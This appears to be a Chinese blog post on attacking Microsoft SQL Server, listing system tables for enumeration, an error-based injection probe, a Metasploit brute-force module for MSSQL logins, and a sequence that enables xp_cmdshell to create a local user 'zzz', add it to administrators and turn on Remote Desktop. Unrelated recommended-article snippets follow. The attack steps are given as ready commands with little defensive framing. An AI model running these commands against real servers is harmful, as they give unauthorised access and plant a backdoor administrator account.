MSSQL中自带数据库信息

库名功能
Master系统控制数据库
Model模板数据库，数据库时建立所有数据库的模板。
Tempdb临时容器，保存所有的临时表，存储过程和其他程序交互的临时文件
Msdb主要为用户使用，记录着计划信息、事件处理信息、数据备份、警告以及异常信息
MSSQL系统视图表（MSSQL数据库与MYSQL数据库一样，自带数据表sysobjects和 syscolumns）
视图表功能
sysobjects记录了数据库中所有的表,常用字段为id,name和xtype
syscolumns记录了数据库中所有表的字段，常用字段为id、name和xtype
sys.databasesSQL Server 中所有的数据库
sys.sql_loginsSQL Server 中所有的登录名
information_schema.tables当前用户数据库的表
information_schema.columns当前用户数据库的列
sys.database_files存储在数据库中数据库文件

MSSQL三个关键系统表
sysdatabases
MSSQL中对sysdatabases系统表 的说明：
Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时，sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。
这个表保存在master数据库中，这个表中保存的是什么信息呢？这个非常重要。他是保存了所有的库名，以及库的ID，和一些相关信息。

dbid从1到5是系统的。分别是：master、model、msdb、mssqlweb、tempdb 这五个库.

我们利用SQL语句， 就可以查询出所有的库名.：

  • Db_name()

     当前数据库

  • sysdatabase

     视图中的 Sysdatabase存储了mssql的所有库名 
 Select * from master..sysdatabases 
 Select * from master.dbo.sysdatabases 
 bid表示库id

  • Sysobject

     Select * from master..sysobjects where xtype=char(85)

  • Syscolumns

     Select * from master..yscolumns where id=3

  • 报错

     Select 1 where 1=convert(int,(select @@version))

测试xp_cmdshell存储过程的开关过程，并利用存储过程执行系统命令：

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE（EXEC sp_configure ‘show advanced options’, 1;该命令用于修改权限，提升）开启xp_cmdshell扩展
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 0;RECONFIGURE关闭xp_cmdshell扩展

msf爆破mssql密码

Msfconsole -q 
Search mssql 
Use auxiliary/scanner/mssql/mssql_login

存储过程利用

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE开启xp_cmdshell扩展
exec xp_cmdshell ‘mkdir c:\zzz’在C盘中创建名为zzz目录
exec xp_cmdshell ‘net user zzz 123456 /add’创建zzz用户
exec xp_cmdshell ‘net localgroup administrators zzz /add’zzz添加为管理员权限
wmic RDTOGGLE WHERE ServerName=‘%COMPUTERNAME%’ call SetAllowTSConnections 1开启远程桌面
reg add “HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /t REG_DWORD /v portnumber /d 3389 /f设置远程桌面端口（默认开启3389）
netstat -anfind “3389”
# 数据库 # sqlserver # microsoft # 安全 # 系统安全
Logo
腾讯云开发者社区

腾讯云面向开发者汇聚海量精品云计算使用和开发经验，营造开放的云计算技术生态圈。

更多推荐

Springboot+MySQL 实现从数据库获取数据展示到前端

1.运行效果效果图如下：2.创建数据库表数据库名为"springboot",数据库表名为"user"，数据库表里面放了5条数据，字段分别为：“id”，“name”，“age”，“email”。3.新建SpringBoot项目1、选择Spring Initial...

avatar 腾讯云开发者社区
cover

腾讯云建官网：一个完整的自助建站的过程，不用代码，2小时就可以制作自己的网站

avatar 腾讯云开发者社区

数据库 实验二 数据库的简单查询和连接查询实验

– l）用Transact-SQL语句表示下列操作．在学生选课库中实现其数据查询操作．– ①求数学系学生的学号和姓名。select sno,sname from student where sdept='MA';– ②求选修了课程的学生学号。select distinct sno from sc;– ③求选修C1课程的学生学号和成绩，并要求对查询结果按成绩降序排列，如果成绩相同则按学号升序排列。s

avatar 腾讯云开发者社区